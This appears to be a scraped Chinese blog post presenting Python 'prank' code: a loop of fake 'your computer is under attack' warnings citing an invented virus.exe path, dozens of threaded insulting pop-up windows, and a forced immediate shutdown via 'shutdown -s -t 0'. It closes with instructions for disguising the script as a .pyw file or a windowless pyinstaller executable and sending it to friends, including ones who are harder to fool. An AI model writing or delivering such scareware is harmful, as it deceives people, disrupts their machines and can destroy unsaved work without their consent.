python恶搞代码1:“随机弹窗+警告窗口+关机“大杂烩

您所在的位置:网站首页 恐怖恶搞代码 python恶搞代码1:“随机弹窗+警告窗口+关机“大杂烩

python恶搞代码1:“随机弹窗+警告窗口+关机“大杂烩

2024-07-12 11:13| 来源: 网络整理| 查看: 265

目录

1.代码编写1.基础构建

python能做许多无聊却“有趣”的事情,比如编写一个恶搞序,发给你的朋友们,让他们欲哭无泪放松一下,比如下面这行代码:

import tkinter.messagebox while True:     tkinter.messagebox.showwarning('windows警告','你的电脑正在被攻击!')

这是一个很简单的程序,虽然很简单,但杀伤力不小,如果对方不会杀进程,就更有趣,但我们可以在里面加入更多的代码,比如让电脑关机:

#操作电脑有这两种代码: 现在关机:shutdown /s /t 0 现在注销:shutdown /l /t 0

在此提醒:如果不想友尽的话,不要用现在注销!!!

加入关机后,我们可以再对tkinter窗口添油加醋,最后代码如下:

import tkinter.messagebox import os word = '''你的电脑正在被攻击! 请不要关闭正在运行的程序,否则会丢失信息 攻击路径:C://Users/appdata/dghgha/langtgdwqi/poquue/sittings/virus.exe''' while True: tkinter.messagebox.showwarning('windows警告',word)     tkinter.messagebox.showinfo('info','goodbye!')     os.system('shutdown /s /t 0')

效果图:

2.继续扩展

只有前面这些代码并不够,我们可以继续加入一些程序

增加随机弹窗

我们可以通过tkinter窗口实现随机弹窗的出现:

import tkinter import random def boom(): window = tk.Tk() width = window.winfo_screenwidth() height = window.winfo_screenheight() a = random.randrange(0, width) b = random.randrange(0, height) window.title('嘿嘿') window.geometry("200x50" + "+" + str(a) + "+" + str(b)) tk.Label(window, text='你是一个傻狍子', bg='green', font=('宋体', 17), width=20, height=4).pack() window.mainloop() time.sleep(1) threads = [] for i in range(25):#可以调整括号内的数字,数字代表出现窗口的数量 t = threading.Thread(target=boom) threads.append(t) time.sleep(0)#调整出现速度 threads[i].start()

上面的文字可以任意修改,场面非常劲爆

展示部分效果:

2.完善程序

在前面的这些代码之上,我们在加入几行代码,就会变成最后的结果:

import tkinter.messagebox import tkinter as tk import random import threading import time import os n=0 w='''你的电脑正在被攻击! 请不要关闭正在运行的程序,否则会丢失信息 点击‘确定’进行下一步操作''' f='''你的电脑正在被攻击! 请不要关闭正在运行的程序,否则会丢失信息 攻击路径:C://Users/appdata/dghgha/langtgdwqi/poquue/sittings/virus.exe''' tkinter.messagebox.askyesno('python3.7','是否要打开此程序?') tkinter.messagebox.showinfo('提示','你一定要想好了哈') tkinter.messagebox.askyesno('提示','最后一次警告!你真的要打开吗?') tkinter.messagebox.showinfo('提示','我对一会要发生的事情没有丝毫歉意,我已经给过你警告了') def boom(): window = tk.Tk() width = window.winfo_screenwidth() height = window.winfo_screenheight() a = random.randrange(0, width) b = random.randrange(0, height) window.title('嘿嘿') window.geometry("200x50" + "+" + str(a) + "+" + str(b)) tk.Label(window, text='嘿嘿嘿嘿嘿嘿嘿', bg='red', font=('宋体', 17), width=20, height=4).pack() window.mainloop() time.sleep(1) tkinter.messagebox.showwarning('warning',w) threads = [] for i in range(25): t = threading.Thread(target=boom) threads.append(t) time.sleep(0) threads[i].start() time.sleep(2.5) for h in range(100): tkinter.messagebox.showwarning('warning',f) time.sleep(0.2) tkinter.messagebox.showinfo('提示','Goodbye') time.sleep(1) os.system('shutdown -s -t 0')2.包装方法一:

第一种方法,简单,但易被识破,建议对头脑简单的朋友使用

方法就是:将扩展名改为.pyw,使窗口打开了就关不上。

方法二:

第二种方法,麻烦,但不易识破,建议对老油条使用

先用pip install pyinstaller下载包

将py文件放到一个文件夹中,随后右键这个文件夹,点击“在终端中运行”,进入cmd窗口

输入 pyinstaller -F -w ./文件名.py

当看到……. successfully后,将dist文件夹中的exe文件发送



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3